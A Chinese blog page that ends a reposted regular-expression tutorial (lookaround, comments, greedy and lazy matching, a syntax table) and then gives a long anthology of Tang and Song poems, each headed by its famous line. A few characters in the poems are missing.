  29. (?<![a-z ])\w{7} (七个字母数字的字符串,其前面没接字母或空格)

  30. (?<=<(\w+)>).*(?=<\/\1>) (HTML卷标间的文字)
  这使用lookahead及lookbehind assertion来取出HTML间的文字,不包括HTML卷标。

  请批注(Comments Please)
  括号还有个特殊的用途就是用来包住批注,语法为”(?#comment)”,若设定”Ignore Pattern Whitespace”选项,则RE中的空格符当RE使用时会乎略。此选项设定时,”#”之后的文字会乎略。

  31. HTML卷标间的文字,加上批注

  (?<=   #查找前缀,但不包含它
  <(\w+)> #HTML标签
  )       #结束查找前缀
  .*      #符合任何文字
  (?=     #查找字尾,但不包含它
  <\/\1>  #符合所抓取群组1之字符串,也就是前面小括号的HTML标签
  )       #结束查找字尾

  寻找最多字符的字及最少字符的字(Greedy and Lazy)
  当RE下要查找一个范围的重复时(如”.*”),它通常会寻找最多字符的符合字,也就是Greedy matching。举例来说。

  32. a.*b  (开始为a结束为b的最多字符的符合字)

  若有一字符串是”aabab”,使用上述RE所得到的符合字符串就是”aabab”,因为这是寻找最多字符的字。有时希望是符合最少字符的字也就是lazy matching。只要将重复前述项目的表加上问号(?)就可以把它们全部变成lazy matching。因此”*?”代表的就是重复任意次数,但是使用最少重复的次数来符合。举个例子来说:

  33. a.*?b (开始为a结束为b的最少字符的符合字)

  若有一字符串是”aabab”,使用上述RE第一个所得到的符合字符串就是”aab”再来是”ab”,因为这是寻找最少字符的字。

  *? 重复任意次数,最少重复次数为原则
  +? 重复至少一次,最少重复次数为原则
  ?? 重复零次或一次,最少重复次数为原则
  {n,m}? 重复至少n次,但不超过m次,最少重复次数为原则
  {n,}? 重复至少n次,最少重复次数为原则

还有什么没提到呢?

  到目前为止,已经提到了许多建立RE的元素,当然还有许多元素没有提到,下表整理了一些没提到的元素,在最左边的字段的数字是说明在Expresso中的例子。

  # 语法 说明

  \a Bell 字符
  \b 通常是指字的边界,在字符组里所代表的就是backspace
  \t Tab

  34 \r Carriage return

  \v Vertical Tab
  \f From feed

  35 \n New line
   \e Escape

  36 \nnn ASCII八位码为nnn的字符

  37 \xnn 十六位码为nn的字符

  38 \unnnn Unicode为nnnn的字符

  39 \cN Control N字符,举例来说Ctrl-M是\cM

  40 \A 字符串的开始(和^相似,但不需籍由multiline选项)

  41 \Z 字符串的结尾
  \z 字符串的结尾

  42 \G 目前查找的开始

  43 \p{name} Unicode 字符组名称为name的字符,比如说\p{Lowercase_Letter} 所指的就是小写字
  (?>exp) Greedy次描述,又称之为non-backtracking次描述。这只符合一次且不采backtracking。

  44 (?<x>-<y>exp)

  or (?-<y>exp) 平衡群组。虽复杂但好用。它让已命名的抓取群组可以在堆栈中操作使用。(小弟对这个也是不太懂哩)

  45 (?im-nsx:exp) 为次描述exp更改RE选项,比如(?-i:Elvis)就是把Elvis大乎略大小写的选项关掉

  46 (?im-nsx) 为之后的群组更改RE选项。
  (?(exp)yes|no) 次描述exp视为zero-width positive lookahead。若此时有符合,则yes次描述为下一个符合标的,若否,则no 次描述为下一个符合标的。
  (?(exp)yes) 和上述相同但无no次描述
  (?(name)yes|no) 若name群组为有效群组名称,则yes次描述为下一个符合标的,若否,则no 次描述为下一个符合标的。

  47 (?(name)yes) 和上述相同但无no次描述

  结论
  经过了一连串的例子,及Expresso的帮忙,相信各位大大对RE有个基本的了解,网络上当然有许多有关于RE的文章,如果各位大大有兴趣http://www.codeproject.com 还有许多关于RE的相关文章。若大大对书有兴趣的话,Jeffrey Friedl的Mastering Regular Expressions很多大大都有推(小弟还没拜读)。希望籍由这样的心得报告,能让对RE有兴趣的大大能缩短学习曲线,当然这是小弟第一次接触RE,若文章中有什么错误或说明的不好的地方,可要请各位大大体谅,并请各位大大将需要修正的地方mail给小弟,小弟会非常感谢各位大大。

from:http://dev.csdn.net/article/70/70436.shtm

- 作者: viewercq 2005年06月12日, 星期日 18:51  回复(0) |  引用(0) 加入博采

唐宋诗词
--------------------------------------------------------------------------------

夜雨寄北       唐 李商隐 

君问归期未有期 巴山夜雨涨秋池 
何当共剪西窗烛 却话巴山夜雨时 
  

.....神女生涯原是梦 小姑居处本无郎 

无题二首之二     唐 李商隐 

重帷深下莫愁堂 卧後清宵细细长 
神女生涯原是梦 小姑居处本无郎 
风波不信菱枝弱 月露谁教桂叶香 
直道相思了无益 未妨惆怅是清狂 

 
无题         唐 李商隐 

昨夜星辰昨夜风 画楼西畔桂堂东 
身无彩凤双飞翼 心有灵犀一点通 
隔座送钩春酒暖 分曹射覆蜡灯红 
嗟余听鼓应官去 走马兰台类转蓬 
  

锦瑟         唐 李商隐 

锦瑟无端五十弦 一弦一柱思华年 
庄生晓梦迷蝴蝶 望帝春心托杜鹃 
沧海月明珠有泪 蓝田日暖玉生烟 
此情可待成追忆 只是当时已惘然 
  



.....金龟婿 

为有         唐 李商隐 

为有云屏无限娇 凤城寒尽怕春宵 
无端嫁得金龟婿 辜负香衿事早朝 
  

.....天若有情天亦老 

金铜仙人辞汉歌    唐 李贺 

茂陵刘郎秋风客 夜闻马嘶晓无迹 
画栏桂树悬秋香 叁十六宫土花碧 
魏官牵车走千里 东关酸风射眸子 
空将汉月出宫门 忆君情泪如铅水 
衰兰送客咸阳道 天若有情天亦老 
携盘独出月荒凉 渭城已远声波小 
  

.....相看两不厌 

独坐敬亭山      唐 李白 

众鸟高飞尽 孤云独去闲 
相看两不厌 只有敬亭山 
  

.....云想衣裳花想容 春风拂槛露华浓 

清平调        唐 李白 

云想衣裳花想容 
春风拂槛露华浓 
若非群玉山头见 
会向瑶台月下逢 
  

.....相思相见知何日 此时此夜难为情 

秋风词(叁五七言诗)  唐 李白 

秋风清 秋月明 
落叶聚还散 寒鸦 复惊 
相思相见知何日 此时此夜难为情 
  

.....抽刀断水水更流 举杯消愁愁更愁 

宣州谢 楼践别校书叔云  唐 李白 

弃我去者昨日之日不可留 
乱我心者今日之日多烦忧 
长风万里送秋雁 对此可以酣高楼 
蓬来文章建安骨 中间小谢又清发 
俱怀逸兴壮志飞 欲上青天揽明月 
抽刀断水水更流 举杯消愁愁更愁 
人生在世不称意 明朝散发弄扁舟 
  

.....人生得意须尽欢 天生我材必有用 

将进酒        唐 李白 

君不见 黄河之水天上来 奔流到海不复回 
君不见 高堂明镜悲白发 朝如青丝暮成雪 
人生得意须尽欢 莫使金樽空对月 
天生我材必有用 千金散尽还复来 
烹羊宰牛且为乐 会须一饮叁百杯 
岑夫子 丹丘生 
将进酒 杯莫停 
与君歌一曲 请君为我侧耳听 
钟鼓馔玉不足贵 但愿长醉不愿醒 
古来圣贤皆寂寞 惟有饮者留其名 
陈王昔时宴平乐 斗酒十千恣 谑 
主人何为言少钱 径须沽取对君酌 
五花马 千金裘 
呼儿将出换美酒 与尔同消万古愁 
  

.....千里不留行 

侠客行        唐 李白 

赵客缦胡缨 吴钩霜雪明 
银鞍照白马 飒沓如流星 
十步杀一人 千里不留行 
事了拂衣去 深藏身与名 
闲过信陵饮 脱剑膝前横 
将炙啖朱亥 持觞劝侯赢 
叁 吐然诺 五岳倒为轻 
眼花耳热後 意气素霓生 
救赵挥金槌 邯郸先震惊 
千秋二壮士  赫大梁城 
纵使侠骨香 不惭世上英 
谁能书 下 白首太玄经 
  

.....白发叁千丈 

秋浦歌        唐 李白 

白发叁千丈 离愁似个长 
不知明镜里 何处得秋霜 
  

.....天地一沙鸥 

旅夜书怀       唐 杜甫 

细草微风岸 危樯独夜舟 
星垂平野阔 月涌太江流 
名岂文章着 官应老病休 
飘飘何所似 天地一沙鸥 
  

.....出师未捷身先死 长使英雄泪满襟 

蜀相         唐 杜甫 

丞相祠堂何处寻 锦官城外柏森森 
映阶碧草自春色 隔叶黄鹂空好音 
叁顾频烦天下计 两朝开济老臣心 
出师未捷身先死 长使英雄泪满襟 
  
  

.....卧看牵牛织女星 

秋夕         唐 杜牧 

银烛秋光冷画屏 
轻罗小扇扑流萤 
天阶月色凉如水 
卧看牵牛织女星 
  

.....商女不知亡国恨 隔岸犹唱後庭花 

泊秦淮        唐 杜牧 

烟笼寒水月笼沙 夜泊秦淮近酒家 
商女不知亡国恨 隔岸犹唱後庭花 
  

.....十年一觉扬州梦 赢得青楼薄幸名 

遗怀         唐 杜牧 

落魄江湖载酒行 楚腰纤细掌中轻 
十年一觉扬州梦 赢得青楼薄幸名 
  

.....春风十里扬州路 卷上珠 总不如 

赠别二首之一     唐 杜牧 

娉娉 十叁馀 豆蔻梢头二月初 
春风十里扬州路 卷上珠 总不如 
  

.....多情却似总无情 

赠别二首之二     唐 杜牧 

多情却似总无情 唯觉樽前笑不成 
蜡烛有心还惜别 替人垂泪到天明 
  

.....过尽千帆皆不是 

望江南        唐 温庭筠 

梳洗罢 独倚望江楼 
过尽千帆皆不是 
斜晖脉脉水悠悠 
肠断白苹洲 
  

.....不是一番寒澈骨 怎得梅花扑鼻香 

宛陵录        唐 斐休 

尘劳回脱事非常 紧把绳头做一场 
不是一番寒澈骨 怎得梅花扑鼻香 
  

.....山雨欲来风满楼 

咸阳城东楼      唐 许浑 

一上高楼万里愁 蒹葭杨柳似汀洲 
溪云初起日沈阁 山雨欲来风满楼 
鸟下绿芜秦苑夕 蝉鸣黄叶汉宫秋 
行人莫问当年事 故国东来渭水流 
  

.....今朝有酒今朝醉 明日愁来明日愁 

自遣         唐 罗隐 

得即高歌失即休 多愁多恨亦悠悠 
今朝有酒今朝醉 明日愁来明日愁 
  

.....采得百花成蜜後 为谁辛苦为谁甜 

蜂          唐 罗隐 

不论平地与山尖 无限风光尽被占 
采得百花成蜜後 为谁辛苦为谁甜 
  

.....四海为家 

西塞山忆古      唐 刘禹锡 

王 楼船下益州 金陵王气黯然收 
千寻铁锁沉江底 一片降幡出石头 
人世几回伤往事 山形依旧枕寒流 
今逢四海为家日 故垒萧萧芦荻秋 
  

.....每逢佳节倍思亲 

九月九日忆山东兄弟  唐 王维 

独在异乡为异客 每逢佳节倍思亲 
遥知兄弟登高处 遍插茱萸少一人 
  

.....行到水穷处 坐看云起时 

终南别业       唐 王维 

中岁颇好道 晚家南山陲 
兴来每独往 胜事空自知 
行到水穷处 坐看云起时 
偶然值林叟 谈笑无还期 
  

.....愿君多采撷 此物最相思 

相思         唐 王维 

红豆生南国 春来发几枝 
愿君多采撷 此物最相思 
  

.....劝君更尽一杯酒 西出阳关无故人 

渭城曲        唐 王维 

渭城朝雨 轻尘 客舍青青柳色新 
劝君更尽一杯酒 西出阳关无故人 
  

.....复值接舆醉 狂歌五柳前 

辋川闲居赠裴秀才迪  唐 王维 

寒山转苍翠 秋水日潺 
倚杖柴门外 临风听暮蝉 
渡头馀落日 墟里上孤烟 
复值接舆醉 狂歌五柳前 
  

.....葡萄美酒夜光杯 欲饮琵琶马上催 

凉州词        唐 王翰 

葡萄美酒夜光杯 欲饮琵琶马上催 
醉卧沙场君莫笑 古来征战几人回 
  

.....洛阳亲友如相问 一片冰心在玉壶 

芙蓉楼送辛渐     唐 王昌龄 

寒雨连江夜入吴 
平明送客楚山孤 
洛阳亲友如相问 
一片冰心在玉壶 
  

.....天涯若比邻 

送杜少府之任蜀州   唐 王勃 

城阙辅叁秦 风烟望五津 
与君离别意 同是宦游人 
海内存知己 天涯若比邻 
无为在歧路 儿女共沾巾 
  

.....物换星移 

滕王阁诗       唐 王勃 

滕王高阁临江渚 佩玉鸣鸾罢歌舞 
画栋朝飞南浦云 珠廉暮卷西山雨 
闭云潭影日悠悠 物换星移几度秋 
阁中帝子今何在 槛外长江空自流 
  

.....浮生半日闲 

题鹤林寺僧舍     唐 李涉 

终日昏昏醉梦间 忽闻春尽强登山 
因过竹院逢僧话 又得浮生半日闲 
  

.....花非花 雾非雾 

花非花        唐 白居易 

花非花 雾非雾 
夜半来 天明去 
来如春梦无多时 
去似朝云无觅处 
  

.....野火烧不尽 春风吹又生 

赋得古原草送别    唐 白居易 

离离原上草 一岁一枯荣 
野火烧不尽 春风吹又生 
远芳侵古道 晴翠接荒城 
又送王孙去 萋萋满别情 
  

.....劝君一杯君莫辞 

劝酒诗        唐 白居易 

劝君一杯君莫辞 劝君两杯君莫疑 劝君叁杯君始知 
面上今日老昨日 心中醉时胜醒时 
天地迢迢自长久 白兔赤鸟相趋走 
身後金星挂北斗 不如生前一杯酒 
  

.....杨家有女初长成 天生丽质难自弃 
.....後宫佳丽叁千人 叁千宠爱在一身 
.....遂令天下父母心 
.....渔阳鼙鼓动地来 
.....上穷碧落下黄泉 
.....忽闻海上有仙山 山在虚无缥缈间 
.....在天愿作比翼鸟 在地愿为连理枝 
.....天长地久有时尽 此恨绵绵无绝期 

长恨歌        唐 白居易 

汉皇重色思倾国 御宇多年求不得 
杨家有女初长成 养在深闺人未识 
天生丽质难自弃 一朝选在君王侧 
回眸一笑百媚生 六宫粉黛无颜色 
春寒赐浴华清池 温泉水滑洗凝脂 
侍儿扶起娇无力 始是新承恩泽时 
云鬓花颜金步摇 芙蓉帐暖度春宵 
春宵苦短日高起 从此君王不早朝 
承欢侍宴无闲暇 春从春游夜专夜 
後宫佳丽叁千人 叁千宠爱在一身 
金屋妆成娇侍夜 玉楼宴罢醉和春 
姊妹弟兄皆列士 可怜光彩生门户 
遂令天下父母心 不重生男重生女 
骊宫高处入青云 仙乐风飘处处闻 
缓歌慢舞凝丝竹 尽日君王看不足 
渔阳鼙鼓动地来 惊破霓裳羽衣曲 
九重城阙烟尘生 千乘万骑西南行 
翠华摇摇行复止 西出都门百馀里 
六军不发无奈何 宛转蛾眉马前死 
花钿委地无人收 翠翘金雀玉搔头 
君王掩面救不得 回看血泪相和流 
黄埃散漫风萧索 云栈萦纡登剑阁 
峨嵋山下少人行 旌旗无光日色薄 
蜀江水碧蜀山青 圣主朝朝暮暮情 
行宫见月伤心色 夜雨闻铃肠断声 
天旋地转回龙驭 到此踌躇不能去 
马嵬坡下泥土中 不见玉颜空死处 
君臣相顾尽沾衣 东望都门信马归 
归来池苑皆依旧 太液芙蓉未央柳 
芙蓉如面柳如眉 对此如何不泪垂 
春风桃李花开日 秋雨梧桐叶落时 
西宫南内多秋草 落叶满阶红不扫 
梨园子弟白发新 椒房阿监青娥老 
夕殿萤飞思悄然 孤灯挑尽未成眠 
迟迟钟鼓初长夜 耿耿星河欲曙天 
鸳鸯瓦冷霜华重 翡翠衾寒谁与共 
悠悠生死别经年 魂魄不曾来入梦 
临邛道士鸿都客 能以精诚致魂魄 
为感君王辗转思 遂教方士殷勤觅 
排空驭气奔如电 升天入地求之遍 
上穷碧落下黄泉 两处茫茫皆不见 
忽闻海上有仙山 山在虚无缥缈间 
楼阁玲珑五云起 其中绰约多仙子 
中有一人字太真 雪肤花貌参差是 
金阙西厢叩玉扃 转教小玉报双成 
闻道汉家天子使 九华帐里梦魂惊 
揽衣推枕起徘徊 珠箔银屏迤逦开 
云鬓半偏新睡觉 花冠不整下堂来 
风吹仙袂飘飘举 犹似霓裳羽衣舞 
玉容寂寞泪阑干 梨花一枝春带雨 
含情凝睇谢君王 一别音容两渺茫 
昭阳殿里恩爱绝 蓬莱宫中日月长 
回头下望人寰处 不见长安见尘雾 
唯将旧物表深情 钿合金钗寄将去 
钗留一股合一扇 钗擘黄金合分钿 
但教心似金钿坚 天上人间会相见 
临别殷勤重寄词 词中有誓两心知 
七月七日长生殿 夜半无人私语时 
在天愿作比翼鸟 在地愿为连理枝 
天长地久有时尽 此恨绵绵无绝期 
  

.....千呼万唤始出来 犹抱琵琶半遮面 
.....此时无声胜有声 
.....同是天涯沦落人 相逢何必曾相识 
琵琶行        唐 白居易 

浔言江头夜送客 枫叶荻花秋瑟瑟 
主人下马客在船 举酒欲饮无管弦 
醉不成欢惨将别 别时茫茫江浸月 
忽闻水上琵琶声 主人忘归客不发 
寻声暗问弹者谁 琵琶声停欲语迟 
移船相近邀相见 添酒回灯重开宴 
千呼万唤始出来 犹抱琵琶半遮面 
转轴拨弦叁两声 未成曲调先有情 
弦弦掩抑声声思 似诉平生不得志 
低眉信手续续弹 说尽心中无限事 
轻拢慢捻抹复挑 初为霓裳後六么 
大弦嘈嘈如急雨 小弦切切如私语 
嘈嘈切切错杂弹 大珠小珠落玉盘 
间官莺语花底滑 幽咽泉流水下滩 
水泉冷涩弦凝绝 凝绝不通声渐歇 
别有幽愁暗恨生 此时无声胜有声 
银瓶乍破水浆迸 铁骑突出刀 鸣 
曲终收拨当心画 四弦一声如裂帛 
东船西舫悄无言 唯见江心秋月白 
沈吟放拨插弦中 整顿衣裳起敛容 
自言本是京城女 家在虾蟆陵下住 
十叁学得琵琶成 名属教坊第一部 
曲罢曾教善才服 妆成每被秋娘妒 
五陵年少争缠头 一曲红绡不知数 
钿头银篦击节碎 血色罗裙翻酒污 
今年欢笑复明年 秋月春风等闲度 
弟走从军阿姨死 暮去朝来颜色故 
门前冷落车马稀 老大嫁作商人妇 
商人重利轻别离 前月浮梁买茶去 
去来江口守空船 绕船月明江水寒 
夜深忽梦少年事 梦啼妆泪红阑干 
我闻琵琶已叹息 又闻此语重唧唧 
同是天涯沦落人 相逢何必曾相识 
我从去年辞帝京 谪居卧病浔阳城 
浔阳地僻无音乐 终岁不闻丝竹声 
住近湓江地低湿 黄芦苦竹绕宅生 
其间旦暮闻何物 杜鹃啼血猿哀鸣 
春江花朝秋月夜 往往取酒还独倾 
岂无山歌与村笛 呕哑嘲哳难为听 
今夜闻君琵琶语 如听仙乐耳暂明 
莫辞更坐弹一曲 为君翻作琵琶行 
感我此言良久立 却坐促弦弦转急 
凄凄不似向前声 满座重闻皆掩泣 
座中泣下谁最多 江州司马青衫湿 
  

.....一将功成万骨枯 

己亥岁二首      唐 曹松 

泽国江山入战图 生民何计乐樵苏 
凭君莫话封侯事 一将功成万骨枯 
  

.....人面不知何处去 桃花依旧笑春风 

题城都南庄      唐 崔护 

去年今日此门中 人面桃花相映红 
人面不知何处去 桃花依旧笑春风 
  

.....花开堪折直须折 莫待无花空折枝 

金缕衣        唐 杜秋娘 

劝君莫惜金缕衣 劝君惜取少年时 
花开堪折直须折 莫待无花空折枝 
  

.....春城无处不飞花 

寒食         唐 韩 

春城无处不飞花 寒食东风御柳斜 
日暮汉宫传蜡烛 轻烟散入五侯家 
  

.....菩提本无树 明镜亦非台 

慧能偈        唐 六祖慧能大师 

菩提本无树 明镜亦非台 
本来无一物 何处惹尘埃 
  

.....身是菩提树 心如明镜台 

神秀偈        唐 神秀 

身是菩提树 心如明镜台 
时时勤佛拭 勿使惹尘埃 
  

.....只在此山中 云深不知处 

寻隐者不遇      唐 贾岛 

松下问童子 言师采药去 
只在此山中 云深不知处 
  

.....恰似一江春水向东流 

虞美人        南唐 李煜 

春花秋月何时了 往事知多少 
小楼昨夜又东风 故国不堪回首月明中 
雕栏玉砌应犹在 只是朱颜改 
问君能有几多愁 恰似一江春水向东流 
  

.....自是人生长恨水长东 

相见欢        南唐 李煜 

林花谢了春红 太匆匆 
无奈朝来寒雨晚来风 
胭脂泪 相留醉 几时重 
自是人生长恨水长东 
  

.....翦不断 理还乱 

相见欢        南唐 李煜 

无言独上西楼 月如钩 
寂寞梧桐深院锁清秋 
翦不断 理还乱 是离愁 
别是一般滋味在心头 
  

.....奴为出来难 教君恣意怜 

菩萨蛮        南唐 李煜 

花明月暗笼轻雾 今宵好向郎边去 
衩袜步香阶 手提金缕鞋 
画堂南畔见 一晌偎人颤 
奴为出来难 教君恣意怜 
  

.....离恨恰如春草 更行更远还生 

清平乐        南唐 李煜 

别来春半 触目愁肠断 
砌下落梅如雪乱 拂了一身还满 
雁来音信无凭 路遥归梦难成 
离恨恰如春草 更行更远还生 
  

.....车如流水马如龙 花月正春风 

望江南        南唐 李煜 

多少恨 昨夜梦魂中 
还似旧时游上苑 车如流水马如龙 
花月正春风 

多少泪 断脸复横颐 
心事莫将和泪说 凤笙休向泪时吹 
肠断更无疑 
  

.....换我心 为你心 始知相忆深 

诉衷情        後蜀 顾 

永夜抛人何处去 
绝来音 香阁掩 
眉敛 月将沉 
争忍不相寻 
怨孤衾 
换我心 为你心 始知相忆深 
  

.....此处不留人 自有留人处 

戏赠陈应       五代 陈後主 

留人不留人 不留人也去 
此处不留人 自有留人处 
  

.....一愿郎君千岁 二愿妾身常健 叁愿如同梁上燕 

长命女        五代 冯延巳 

春日宴 绿酒一杯歌一遍 
再拜陈叁愿 
一愿郎君千岁 
二愿妾身常健 
叁愿如同梁上燕 岁岁长相见 
  

.....书中自有黄金屋 

励学篇        宋 宋真宗 

富家不用买良田 书中自有千锺粟 
安居不用架高楼 书中自有黄金屋 
娶妻莫恨无良媒 书中自有颜如玉 
出门莫恨无人随 书中车马多如簇 
男儿欲遂平生志 五经勤向窗前读 
  

.....两情若是久长时 又岂在朝朝暮暮 

鹊桥仙        宋 秦观 

纤云弄巧 飞星传恨 银汉迢迢暗渡 
金风玉露一相逢 便胜却人间无数 
柔情似水 佳期如梦 忍顾鹊桥归路 
两情若是久长时 又岂在朝朝暮暮 
  

.....一 幽梦 

八六子        宋 秦观 

倚危亭 恨如芳草 萋萋铲尽还生 
念柳外青骢别後 水边红袂多时 怆然暗惊 

无端天与娉婷 
夜月一 幽梦 春风十里柔情 
怎奈何 欢愉渐随流水 
素弦声断 翠绡香减 那堪片片飞花弄晚 
蒙蒙残雪笼晴 正销凝 黄鹂又啼数声 
  

.....但愿人长久 千里共蝉娟 

水调歌头       宋 苏轼 

明月几时有 
把酒问青天 
不知天上宫阙 
今夕是何年 
我欲乘风归去 
又恐琼楼玉宇 
高处不胜寒 
起舞弄清影 
何似在人间 
转朱阁 低绮户 照无眠 
不应有恨 
何事长向别时圆 
人有悲欢离合 
月有阴晴圆缺 
此事古难全 
但愿人长久 
千里共蝉娟 
  

.....天涯何处无芳草 

蝶恋花        宋 苏轼 

花褪残红青杏小 燕子飞时 绿水人家绕 
枝上柳绵吹又少 天涯何处无芳草 
墙里秋千墙外道 墙外行人 墙里佳人笑 
笑渐不闻声渐悄 多情却被无情恼 
  

.....自古佳人多命薄 

薄命佳人       宋 苏轼 

双颊凝酥发抹漆 眼光入 珠的 
故将白练作仙衣 不许红膏 天质 
吴音娇软带儿痴 无限闲愁总未知 
自古佳人多命薄 闭门春尽杨花落 
  

.....春宵一刻值千金 

春宵         宋 苏轼 

春宵一刻值千金 花有清香月有阴 
歌管楼台声细细 秋千院落夜沈沈 
  

.....雪泥鸿爪 

和子由渑池怀旧    宋 苏轼 

人生到处知何似 
恰似飞鸿踏雪泥 
泥上偶然留指爪 
鸿飞哪复计东西 
老僧已死成新塔 
坏壁无由见旧题 
往日崎岖还记否 
路长人困蹇驴嘶 
  

.....相顾无言 唯有泪千行 

江城子        宋 苏轼 

十年生死两茫茫 不思量 自难忘 
千里孤坟 无处话凄凉 
纵使相逢应不识 尘满面 鬓如霜 
夜来幽梦忽还乡 小轩窗 正梳妆 
相顾无言 唯有泪千行 
料得年年肠断处 明月夜 短松冈 
  

.....淡妆浓抹总相宜 

饮湖上初晴後雨    宋 苏轼 

水光 滟晴方好 山色空蒙雨亦奇 
欲把西湖比西子 淡妆浓抹总相宜 
  

.....回首向来萧瑟处 也无风雨也无晴 

定风波        宋 苏轼 

莫听穿林打叶声 
何妨吟啸且徐行 
竹杖芒鞋轻胜马 
谁怕 
一 烟雨任平生 

料峭春风吹酒醒 
微冷 
山头斜照却相迎 
回首向来萧瑟处 
归去 
也无风雨也无晴 
  

.....不识庐山真面目 只缘身在此山中 

题西林壁       宋 苏轼 

横看成岭侧成峰 远近高低各不同 
不识庐山真面目 只缘身在此山中 
  

.....大江东去 浪淘尽 千古英雄人物 

念奴娇 赤壁怀古   宋 苏轼 

大江东去 浪淘尽 千古英雄人物 
故垒西边 人道是 叁国周郎赤壁 
乱石崩云 惊涛裂岸 卷起千堆雪 
江山如画 一时多少豪杰 
遥想公瑾当年 小乔初嫁了 雄姿英发 
羽扇纶巾 谈笑间 强虏灰飞烟灭 
故国神游 多情应笑我 早生华发 
人间如梦 一尊还酹明月 
  

.....莫道不消魂  卷西风 人比黄花瘦 

醉花阴        宋 李清照 

薄雾浓云愁永昼 瑞脑消金兽 
佳节又重阳 玉枕纱厨 半夜凉初透 
东篱把酒黄昏後 有暗香盈袖 
莫道不消魂  卷西风 人比黄花瘦 
  

.....才下眉头 却上心头 

一翦梅        宋 李清照 

红藕香残玉簟秋 轻解罗裳 独上兰舟 
云中谁寄锦书来 雁字回时 月满西楼 
花自飘零水自流 一种相思 两处闲愁 
此情无计可消除 才下眉头 却上心头 
  

.....寻寻觅觅 冷冷清清 凄凄惨惨戚戚 

声声慢        宋 李清照 

寻寻觅觅 冷冷清清 凄凄惨惨戚戚 
乍暖还寒时候 最难将息 
叁杯两盏淡酒 怎敌他晓来风急 
雁过也 正伤心 却是旧时相识 
满地黄花堆积 憔悴损 如今有谁堪摘 
守着窗儿 独自怎生得黑 
梧桐更兼细雨 到黄昏 点点滴滴 
这次第 怎一个愁字了得 
  

.....无那 无那 好个凄凉的我 

如梦令        宋 李清照 

谁伴明窗独坐 我共影儿俩个 
灯尽欲眠时 影也把人抛躲 
无那 无那 
好个凄凉的我 
  

.....久旱逢甘雨 他乡遇故知 

.....洞房花烛夜 金榜题名时 

喜          宋 汪洙 

久旱逢甘雨 他乡遇故知 
洞房花烛夜 金榜题名时 
  

.....各人自扫门前雪 休管他人瓦上霜 

事林广记       宋 黄元靓 

各人自扫门前雪 休管他人瓦上霜 
  

.....蓦然回首 那人却在 灯火阑珊处 

青玉案        宋 辛弃疾 

东风夜放花千树 
更吹落 星如雨 
宝马雕车香满路 
凤箫声动 玉壶光转 一夜鱼龙舞 

蛾儿雪柳黄金缕 
笑语盈盈暗香去 
众里寻他千百度 
蓦然回首 那人却在 灯火阑珊处 
  

.....却道天凉好个秋 

丑奴儿        宋 辛弃疾 

少年不识愁滋味 
爱上层楼 爱上层楼 
为赋新词强说愁 
而今识尽愁滋味 
欲说还休 欲说还休 
却道天凉好个秋 
  

.....七八个星天外 两叁点雨山前 

西江月        宋 辛弃疾 

明月别枝惊鹊 清风半夜鸣蝉 
稻花香里说丰年 听取蛙声一片 
七八个星天外 两叁点雨山前 
旧时茆店社林边 路转溪桥忽见 
  

.....生子当如孙仲谋 

南乡子 登京口北固亭有怀   宋 辛弃疾 

何处望神州 
满眼风光北固楼 
千古兴亡多少事 
悠悠 
不尽长江滚滚流 

年少万兜鍪 
坐断东南战未休 
天下英雄谁敌手 
曹刘 
生子当如孙仲谋 
  

.....无可奈何花落去 似曾相识燕归来 

浣溪沙        宋 晏殊 

一曲新词酒一杯 
去年天气旧亭台 
夕阳西下几时回 
无可奈何花落去 
似曾相识燕归来 
小园香径独徘徊 
  

.....庭院深深深几许 泪眼问花花不语 

蝶恋花        宋 欧阳修 

庭院深深深几许 杨柳堆烟  幕无重数 
玉勒雕安游冶处 楼高不见章台路 
雨横风狂叁月暮 门掩黄昏 无计留春住 
泪眼问花花不语 乱红飞过秋千去 
  

.....人生自是有情痴 此恨不关风与月 

玉楼春        宋 欧阳修 

尊前拟把归期说 未语春容先惨咽 
人生自是有情痴 此恨不关风与月 
离歌且莫翻新阙 一曲能教肠寸结 
直须看尽洛城花 始共春风容易别 
  

.....今年花胜去年红 可惜明年花更好 

浪淘沙        宋 欧阳修 

把酒祝东风 且共从容 
垂杨紫陌洛城东 总是当时携手处 游遍芳丛 
聚散苦匆匆 此恨无穷 
今年花胜去年红 可惜明年花更好 知与谁同 
  

.....红杏出墙 

游园不值       宋 叶绍翁 

应嫌屐齿映苍苔 十叩柴扉九不开 
春色满园关不住 一枝红杏出墙来 
  

.....一叶知秋 

唐子西文录      宋 强幼安 

山僧不解数甲子 一叶落知天下秋 
  

.....不见去年人 泪湿春衫袖 

生查子        宋 朱淑真(四库全书力主六一居士欧阳修所作) 

去年元夜时 花市灯如昼 
月上柳稍头 人约黄昏後 
今年元夜时 花与灯依旧 
不见去年人 泪湿春衫袖 
  

.....衣带渐宽终不悔 

蝶恋花        宋 柳永 

伫倚危楼风细细 望极春愁 黯黯生天际 
草色烟光残照里 无言谁会凭阑意 
拟把疏狂图一醉 对酒当歌 强乐还无味 
衣带渐宽终不悔 为伊消得人憔悴 
  

.....便纵有千种风情 更与谁人说 

雨霖铃        宋 柳永 

寒蝉 切 对长亭晚 骤雨初歇 
都门帐饮无绪 留恋处 兰舟催发 
执手相看泪眼 竟无语凝噎 
念去去 千里烟波 暮霭沈沈楚天阔 
多情自古伤离别 更那堪 冷落清秋节 
今宵酒醒何处 杨柳岸 晓风残月 
此去经年 应是良辰好景虚设 
便纵有千种风情 更与谁人说 
  

.....惶恐滩头说惶恐 零丁洋里叹零丁 

过零丁洋       宋 文天祥 

辛苦遭逢起一经 干戈落落四周星 
山河破碎风抛絮 身世飘零雨打萍 
惶恐滩头说惶恐 零丁洋里叹零丁 
人生自古谁无死 留取丹心照汗青 
  

.....今宵 把银 照 犹恐相逢是梦中 

鹧鸪天        宋 晏几道 

彩袖殷勤捧玉锺 当年拼却醉颜红 
舞低杨柳楼心月 歌尽桃花扇底风 
从别後 忆相逢 几回魂梦与君同 
今宵 把银 照 犹恐相逢是梦中 
  

.....千江有水千江月 万里无云万里天 

嘉泰普灯录卷十八   宋 雷庵正受 

千山同一月 
万户尽皆春 
千江有水千江月 
万里无云万里天 
  

.....柳暗花明又一村 

游山西村       宋 陆游 

莫笑农家腊酒浑 
丰年留客足鸡豚 
山重水复疑无路 
柳暗花明又一村 
箫鼓追随春社近 
衣冠简 古风存 
从今若许闲乘月 
拄杖无时夜叩门 
  

.....错!错!错!莫!莫!莫! 

钗头凤        宋 陆游 

红酥手 黄藤酒 满城春色宫墙柳 
东风恶 欢情薄 一怀愁绪 几年离索 
错!错!错! 
春如旧 人空瘦 泪痕红 鲛绡透 
桃花落 闲池阁 
山盟虽在 锦书难托 
